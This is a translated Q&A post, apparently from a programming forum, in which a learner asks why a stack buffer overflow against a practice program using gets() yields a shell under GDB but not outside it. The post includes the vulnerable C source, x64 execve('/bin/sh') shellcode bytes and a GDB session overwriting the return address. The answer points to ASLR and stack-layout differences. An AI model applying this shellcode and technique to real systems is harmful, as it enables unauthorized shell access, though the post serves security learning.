如果我直接用GDB修改返回地址,缓冲区溢出成功,我可以得到shell。但是,当我不使用GDB时,我无法获得具有相同shell代码的shell。我发现它们之间没有任何区别。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int main(void)
{
char str[256];
char *ptr;
int a;
printf("문장을 입력하세요.\n");
gets(str);
printf("%s\n", str);
}
以上是我的受害者计划&#39; ftz_level12&#39;。
"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
如果我使用gdb的set指令,我可以像这样得到shell
(gdb) r
Starting program: /home/knight/bof_prac/ftz_level12
문장을 입력하세요.
hello
Breakpoint 1, 0x000000000040059c in main ()
(gdb) i r rbp
rbp 0x7fffffffe480 0x7fffffffe480
(gdb) set {int}0x7fffffffe488 = 0xffffeed0
(gdb) set {int}0x7fffffffe48c = 0x7fff
(gdb) disable
(gdb) c
Continuing.
hello
process 4443 is executing new program: /bin/dash
$
如果我不使用set指令,我就无法获得shell
(gdb) r < code
Starting program: /home/knight/bof_prac/ftz_level12 < code
문장을 입력하세요.
????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????abcdefgh?????
process 4449 is executing new program: /bin/dash
[Inferior 1 (process 4449) exited normally]
上面是我使用的shell代码。 我使用的是ubuntu 16.04和x64架构
答案 0 :(得分:0)
我发现它们之间没有任何区别。
默认情况下,GDB会禁用地址空间随机化。您可以使用(gdb) set disable-randomization off
重新启用它。
https://stackoverflow.com/a/17775333
<强>更新强>
我通过/ proc / sys / kernel / randomize_va_space = 0关闭aslr保护
这相当于在GDB中设置disable-randomization off
。
正如other answer所提到的,您还需要将GDB内部和外部的堆栈布局安排得足够接近。
可能相关的一个区别是GDB总是按其完整路径调用程序。尝试在外部GDB中运行,如下所示:
/home/knight/bof_prac/ftz_level12 < code